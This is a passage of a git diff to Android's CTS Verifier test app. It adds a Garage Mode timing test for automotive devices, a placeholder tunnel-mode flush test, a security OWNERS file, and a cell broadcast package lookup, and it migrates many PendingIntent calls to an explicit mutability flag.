+                // This job is about to finish and there is more time remaining.
+                // Schedule another job.
+                scheduleJob(mIdleJobContext, mJobParameter.getJobId() + 1,
+                        remainingSeconds - elapsedSeconds);
+            }
+            return true;
+        }
+
+        @Override
+        protected void onPostExecute(Boolean result) {
+            final Handler handler = mHandler.get();
+            if (handler == null) {
+                return;
+            }
+            if (result) {
+                Message msg = handler.obtainMessage(MSG_RUN_JOB, mIteration + 1, 0, mJobParameter);
+                handler.sendMessageDelayed(msg, MS_PER_ITERATION);
+            } else {
+                Message msg = handler.obtainMessage(MSG_FINISHED, 0, 0, mJobParameter);
+                handler.sendMessage(msg);
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
new file mode 100644
index 0000000..74bbc08
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeTestActivity.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.UiModeManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.text.DateFormat;
+
+/**
+ * Tests that Garage Mode runs at the end of a drive
+ */
+public final class GarageModeTestActivity extends PassFailButtons.Activity {
+    // Requirements from Android 11 Compatibility Definition
+    // 2.5.4. Performance and Power
+    // Automotive device implementations:
+    //
+    // [8.3/A-1-3] MUST support Garage Mode
+    // [8.3/A-1-4] SHOULD be in Garage Mode for at least 15 minutes unless:
+    //                 The battery is drained.
+    //                 No idle jobs are scheduled.
+    //                 The driver exits Garage Mode.
+    //
+    // I understand that Google intends to require that Garage Mode is occasionally
+    // allowed to run at least 30 seconds. This code tests for that minimum time.
+
+    private static final String TAG = GarageModeTestActivity.class.getSimpleName();
+
+    // The recommendation is for Garage Mode to run for 15 minutes. To allow
+    // for some variation, run the test for 14 minutes and verify that it
+    // ran at least 13 minutes.
+    private static final int NUM_SECONDS_DURATION = 14 * 60;
+    private static final long RECOMMENDED_DURATION_MS = (NUM_SECONDS_DURATION - 60) * 1000L;
+
+    // The hard requirement is for Garage Mode to run for 30 seconds. Fail if
+    // the test doesn't run at least this long.
+    private static final long REQUIRED_DURATION_MS = 30 * 1000L;
+
+    // Once a test is started, Garage Mode is expected to start within 10 minutes. If it doesn't,
+    // the test is marked as fail.
+    private static final long MAX_WAIT_UNTIL_GARAGE_MODE = 10 * 60 * 1000L;
+
+    private TextView mStatusText;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = getLayoutInflater().inflate(R.layout.garage_test_main, null);
+        setContentView(view);
+
+        setInfoResources(R.string.car_garage_mode_test, R.string.car_garage_mode_test_desc, -1);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        mStatusText = findViewById(R.id.car_garage_mode_results);
+
+        // Garage Mode Monitor
+        Button monitorButton = (Button) view.findViewById(R.id.launch_garage_monitor);
+        monitorButton.setOnClickListener((buttonView) -> {
+            Context context = GarageModeTestActivity.this;
+            SharedPreferences prefs = context.getSharedPreferences(
+                    GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+            long now = System.currentTimeMillis();
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putLong(GarageModeChecker.PREFS_INITIATION, now);
+            editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+            editor.putLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+            editor.putLong(GarageModeChecker.PREFS_TERMINATION, 0);
+            editor.putBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
+            editor.commit();
+
+            GarageModeChecker.scheduleAnIdleJob(context, NUM_SECONDS_DURATION);
+            verifyStatus();
+            Log.v(TAG, "Scheduled GarageModeChecker to run when idle");
+        });
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        verifyStatus();
+    }
+
+    @Override
+    public void onWindowFocusChanged(boolean hasWindowFocus) {
+        super.onWindowFocusChanged(hasWindowFocus);
+        if (hasWindowFocus) {
+            verifyStatus();
+        }
+    }
+
+    private void verifyStatus() {
+        Context context = GarageModeTestActivity.this;
+        SharedPreferences prefs = context.getSharedPreferences(
+                GarageModeChecker.PREFS_FILE_NAME, Context.MODE_PRIVATE);
+        String resultsString;
+        DateFormat dateTime = DateFormat.getDateTimeInstance();
+
+        long now = System.currentTimeMillis();
+        long initiateTime = prefs.getLong(GarageModeChecker.PREFS_INITIATION, 0);
+        long garageModeStart = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_START, 0);
+        long garageModeEnd = prefs.getLong(GarageModeChecker.PREFS_GARAGE_MODE_END, 0);
+        long termination = prefs.getLong(GarageModeChecker.PREFS_TERMINATION, 0);
+        long jobUpdate = prefs.getLong(GarageModeChecker.PREFS_JOB_UPDATE, 0);
+        boolean hadConnectivity = prefs.getBoolean(GarageModeChecker.PREFS_HAD_CONNECTIVITY, false);
+
+        boolean testPassed = false;
+        if (initiateTime == 0) {
+            resultsString = "No results are available.\n\n"
+                    + "Perform the indicated steps to run the test.";
+        } else if (garageModeStart == 0) {
+            if (now < initiateTime + MAX_WAIT_UNTIL_GARAGE_MODE) {
+                resultsString = String.format("Waitng for Garage Mode to start.\n\n"
+                                + "%s -- Test was enabled",
+                        dateTime.format(initiateTime));
+            } else {
+                resultsString = String.format("Test failed.\n"
+                                + "Garage Mode did not run.\n\n"
+                                + "%s -- Test was enabled",
+                        dateTime.format(initiateTime));
+            }
+        } else if (garageModeEnd > (garageModeStart + RECOMMENDED_DURATION_MS)) {
+            testPassed = hadConnectivity;
+            resultsString = String.format("Test %s.\n"
+                            + "Garage Mode ran as required and for the recommended time.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode completed",
+                    (testPassed ? "Passed" : "Failed"),
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(garageModeEnd));
+        } else if (termination > (garageModeStart + REQUIRED_DURATION_MS)) {
+            testPassed = hadConnectivity;
+            resultsString = String.format("Test %s.\n"
+                            + "Garage Mode ran as required, "
+                            + "but for less time than is recommended.\n"
+                            + "  The CDD recommends that Garage Mode runs for 15 minutes.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode was terminated",
+                    (testPassed ? "Passed" : "Failed"),
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(termination));
+        } else if (termination > 0) {
+            resultsString = String.format("Test Failed.\n"
+                            + "Garage Mode ran, but for less than the required time.\n"
+                            + "  The minimum requirement is that Garage Mode runs for 30 seconds.\n"
+                            + "  The CDD recommends that Garage Mode runs for 15 minutes.\n"
+                            + "Connectivity was %savailable.\n\n"
+                            + "%s -- Test was enabled\n"
+                            + "%s -- Garage mode started\n"
+                            + "%s -- Garage mode was terminated",
+                    (hadConnectivity ? "" : "not "),
+                    dateTime.format(initiateTime), dateTime.format(garageModeStart),
+                    dateTime.format(termination));
+        } else if (now < jobUpdate + GarageModeChecker.MS_PER_ITERATION * 2) {
+            resultsString = "Garage Mode started and test is running.\n\n"
+                    + dateTime.format(initiateTime) + " -- Test was enabled\n"
+                    + dateTime.format(garageModeStart) + " -- Garage mode started\n"
+                    + dateTime.format(jobUpdate) + " -- Last job updated";
+        } else {
+            resultsString = "Test failed.\n\n"
+                    + "Garage Mode started, but terminated unexpectedly.\n\n"
+                    + dateTime.format(initiateTime) + " -- Test was enabled\n"
+                    + dateTime.format(garageModeStart) + " -- Garage mode started";
+        }
+        mStatusText.setText(resultsString);
+        getPassButton().setEnabled(testPassed);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
index 0718d41..50d5f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/forcestop/RecentTaskRemovalTestActivity.java
@@ -121,12 +121,12 @@
                     .setPackage(getPackageName())
                     .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
             final PendingIntent onTaskRemoved = PendingIntent.getBroadcast(this, 0,
-                    reportTaskRemovedIntent, 0);
+                    reportTaskRemovedIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             final Intent reportAlarmIntent = new Intent(ACTION_REPORT_ALARM)
                     .setPackage(getPackageName())
                     .addFlags(Intent.FLAG_RECEIVER_REGISTERED_ONLY);
-            final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, 0);
+            final PendingIntent onAlarm = PendingIntent.getBroadcast(this, 0, reportAlarmIntent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             final Intent testActivity = new Intent()
                     .setClassName(HELPER_APP_NAME, HELPER_ACTIVITY_NAME)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
index 8a7b624..33112e7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CommandReceiverActivity.java
@@ -528,14 +528,14 @@
         session.fsync(out);
         in.close();
         out.close();
-        session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), 0)
+        session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), PendingIntent.FLAG_MUTABLE_UNAUDITED)
                 .getIntentSender());
     }
 
     private void uninstallHelperPackage() {
         try {
             getPackageManager().getPackageInstaller().uninstall(HELPER_APP_PKG,
-                    PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), 0)
+                    PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), PendingIntent.FLAG_MUTABLE_UNAUDITED)
                             .getIntentSender());
         } catch (IllegalArgumentException e) {
             // The package is not installed: that's fine
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 5328109..5f1243f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -19,8 +19,11 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.os.UserManager;
 import android.provider.Settings;
+import android.provider.Telephony;
+import android.text.TextUtils;
 import android.util.ArrayMap;
 
 import com.android.cts.verifier.R;
@@ -240,7 +243,8 @@
                 boolean isCellBroadcastAppLinkEnabled = context.getResources().getBoolean(resId);
                 try {
                     if (isCellBroadcastAppLinkEnabled) {
-                        if (pm.getApplicationEnabledSetting("com.android.cellbroadcastreceiver")
+                        String packageName = getDefaultCellBroadcastReceiverPackageName(context);
+                        if (packageName == null || pm.getApplicationEnabledSetting(packageName)
                                 == PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                             isCellBroadcastAppLinkEnabled = false;  // CMAS app disabled
                         }
@@ -273,6 +277,32 @@
         }
     }
 
+    /**
+     * Utility method to query the default CBR's package name.
+     * from frameworks/base/telephony/common/com/android/internal/telephony/CellBroadcastUtils.java
+     */
+    private static String getDefaultCellBroadcastReceiverPackageName(Context context) {
+        PackageManager packageManager = context.getPackageManager();
+        ResolveInfo resolveInfo = packageManager.resolveActivity(
+                new Intent(Telephony.Sms.Intents.SMS_CB_RECEIVED_ACTION),
+                PackageManager.MATCH_SYSTEM_ONLY);
+        String packageName;
+
+        if (resolveInfo == null) {
+            return null;
+        }
+
+        packageName = resolveInfo.activityInfo.applicationInfo.packageName;
+
+        if (TextUtils.isEmpty(packageName) || packageManager.checkPermission(
+            android.Manifest.permission.READ_CELL_BROADCASTS, packageName)
+                == PackageManager.PERMISSION_DENIED) {
+            return null;
+        }
+
+        return packageName;
+    }
+
     private static class UserRestrictionItem {
         final int label;
         final int userAction;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
index 377d068..3a7f520 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/NdefPushReceiverActivity.java
@@ -60,7 +60,7 @@
         NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
         mNfcAdapter = nfcManager.getDefaultAdapter();
         mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
-                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+                .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
index d9166a5..faee902 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/TagVerifierActivity.java
@@ -102,7 +102,7 @@
             NfcManager nfcManager = (NfcManager) getSystemService(NFC_SERVICE);
             mNfcAdapter = nfcManager.getDefaultAdapter();
             mPendingIntent = PendingIntent.getActivity(this, 0, new Intent(this, getClass())
-                    .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), 0);
+                    .addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP), PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             goToWriteStep();
         } else {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
index 409dcd9..ea48cce 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ActionTriggeredReceiver.java
@@ -59,7 +59,7 @@
         Intent intent = new Intent(ACTION);
         intent.setComponent(new ComponentName(context, ActionTriggeredReceiver.class));
         PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pi;
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index 2d41e57..4972d00 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -534,7 +534,7 @@
     private Notification.BubbleMetadata.Builder getIntentBubble() {
         Context context = getApplicationContext();
         Intent intent = new Intent(context, BubbleActivity.class);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(pendingIntent,
                 Icon.createWithResource(getApplicationContext(),
@@ -546,14 +546,14 @@
             @NonNull CharSequence content) {
         Context context = getApplicationContext();
         Intent intent = new Intent(context, BubbleActivity.class);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         Person person = new Person.Builder()
                 .setName("bubblebot")
                 .build();
         RemoteInput remoteInput = new RemoteInput.Builder("reply_key").setLabel("reply").build();
         PendingIntent inputIntent = PendingIntent.getActivity(getApplicationContext(), 0,
-                new Intent(), 0);
+                new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Icon icon = Icon.createWithResource(getApplicationContext(), R.drawable.ic_android);
         Notification.Action replyAction = new Notification.Action.Builder(icon, "Reply",
                 inputIntent).addRemoteInput(remoteInput)
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 0c7077e..21fcb84 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -415,7 +415,7 @@
         Intent intent = new Intent(tag);
         intent.setComponent(new ComponentName(mContext, DismissService.class));
         PendingIntent pi = PendingIntent.getService(mContext, code, intent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pi;
     }
 
@@ -423,7 +423,7 @@
         Intent intent = new Intent(tag);
         intent.setComponent(new ComponentName(mContext, ActionTriggeredReceiver.class));
         PendingIntent pi = PendingIntent.getBroadcast(mContext, code, intent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pi;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
index be78556..253749b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/os/TimeoutResetActivity.java
@@ -89,7 +89,7 @@
                                 0,
                                 new Intent(activity, TimeoutResetActivity.class)
                                         .putExtra(EXTRA_OLD_TIMEOUT, oldTimeout),
-                                0));
+                                PendingIntent.FLAG_MUTABLE_UNAUDITED));
             }
         });
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
new file mode 100644
index 0000000..4241b61
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -0,0 +1,6 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: CA*.java, Ca*.java, KeyChainTest.java
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
+# Bug component: 189335 = per-file: FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
+per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index b1ce20e..9bad7af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -74,7 +74,7 @@
                                             new IntentFilter(ACTION_ALARM));
 
             Intent intent = new Intent(this, AlarmReceiver.class);
-            mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+            mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
             mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
index b80be40..3f5b736 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/OffBodySensorTestActivity.java
@@ -298,7 +298,7 @@
         LocalBroadcastManager.getInstance(this).registerReceiver(myBroadCastReceiver,
                                         new IntentFilter(ACTION_ALARM));
         Intent intent = new Intent(this, AlarmReceiver.class);
-        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        mPendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         mAlarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
         mScreenManipulator = new SensorTestScreenManipulator(this);
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
index e7e55f2..0a96886 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/SignificantMotionTestActivity.java
@@ -198,7 +198,7 @@
         SuspendStateMonitor suspendStateMonitor = new SuspendStateMonitor();
 
         Intent intent = new Intent(this, AlarmReceiver.class);
-        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, 0);
+        PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         AlarmManager am = (AlarmManager) getSystemService(ALARM_SERVICE);
         am.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
new file mode 100644
index 0000000..d99672d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tunnelmode/MediaCodecFlushActivity.java
@@ -0,0 +1,131 @@
+package com.android.cts.verifier.tunnelmode;
+
+import android.app.Activity;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.cts.MediaCodecTunneledPlayer;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.File;
+
+/**
+ * Test for verifying tunnel mode implementations properly handle content flushing. Plays a stream
+ * in tunnel mode, pause it, flush it, resume, and user can mark Pass/Fail depending on quality of
+ * the AV Sync. More details in go/atv-tunnel-mode-s.
+ * TODO: Implement the actual test. This is a placeholder implementation until the test design is
+ * stable and approved.
+ */
+public class MediaCodecFlushActivity extends PassFailButtons.Activity {
+    private static final String TAG = MediaCodecFlushActivity.class.getSimpleName();
+
+    private SurfaceHolder mHolder;
+    private int mAudioSessionId = 0;
+    private MediaCodecTunneledPlayer mPlayer;
+    private Handler mHandler;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.sv_play);
+        setPassFailButtonClickListeners();
+        disablePassButton();
+
+        SurfaceView surfaceView = (SurfaceView) findViewById(R.id.surface);
+        mHolder = surfaceView.getHolder();
+        mHolder.addCallback(new SurfaceHolder.Callback(){
+                public void surfaceCreated(SurfaceHolder holder) {
+                    // TODO: Implement a start button, rather than playing the video as soon as the
+                    // surface is ready
+                    playVideo();
+                }
+
+                public void surfaceChanged(
+                        SurfaceHolder holder, int format, int width, int height) {}
+                public void surfaceDestroyed(SurfaceHolder holder) {}
+            });
+
+        mHandler = new Handler(Looper.getMainLooper());
+
+        AudioManager am = (AudioManager) getApplicationContext().getSystemService(AUDIO_SERVICE);
+        mAudioSessionId = am.generateAudioSessionId();
+
+        mPlayer = new MediaCodecTunneledPlayer(mHolder, true, mAudioSessionId);
+
+        // TODO: Do not rely on the video being pre-loaded on the device
+        Uri mediaUri = Uri.fromFile(new File("/data/local/tmp/video.webm"));
+        mPlayer.setVideoDataSource(mediaUri, null);
+        mPlayer.setAudioDataSource(mediaUri, null);
+    }
+
+    private void playVideo() {
+        try {
+            mPlayer.start();
+            mPlayer.prepare();
+            mPlayer.startThread();
+            mHandler.postDelayed(this::pauseStep, 5000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not play video", e);
+        }
+    }
+
+    private void pauseStep() {
+        try {
+            mPlayer.pause();
+            mHandler.postDelayed(this::flushStep, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not pause video", e);
+        }
+    }
+
+    private void flushStep() {
+        try {
+            mPlayer.flush();
+            mHandler.postDelayed(this::resumeStep, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not flush video", e);
+        }
+    }
+
+    private void resumeStep() {
+        try {
+            mPlayer.start();
+            mHandler.postDelayed(this::enablePassButton, 3000);
+        } catch(Exception e) {
+            Log.d(TAG, "Could not resume video", e);
+        }
+    }
+
+    private void enablePassButton() {
+        getPassButton().setEnabled(true);
+    }
+
+    private void disablePassButton() {
+        getPassButton().setEnabled(false);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        if (mPlayer != null) {
+            mPlayer.pause();
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mPlayer != null) {
+            mPlayer.reset();
+            mPlayer = null;
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
index 4f8a825..0127082 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
@@ -125,14 +125,16 @@
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
-                            + " for PCM16 2 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
+                            + " for PCM 2 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
                     .isTrue();
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return false "
                             + "for EAC3 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
                     .isFalse();
 
             ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
@@ -171,14 +173,16 @@
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
-                            + " for PCM16 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
+                            + " for PCM 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6), audioAttributes))
                     .isTrue();
 
             getAsserter()
                     .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true "
                             + "for EAC3 6 channel")
-                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .that(AudioTrack.isDirectPlaybackSupported(
+                            makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
                     .isTrue();
 
             ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
index c150132..512162c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/accessory/UsbAccessoryTestActivity.java
@@ -23,6 +23,10 @@
 import static org.junit.Assert.assertNotNull;
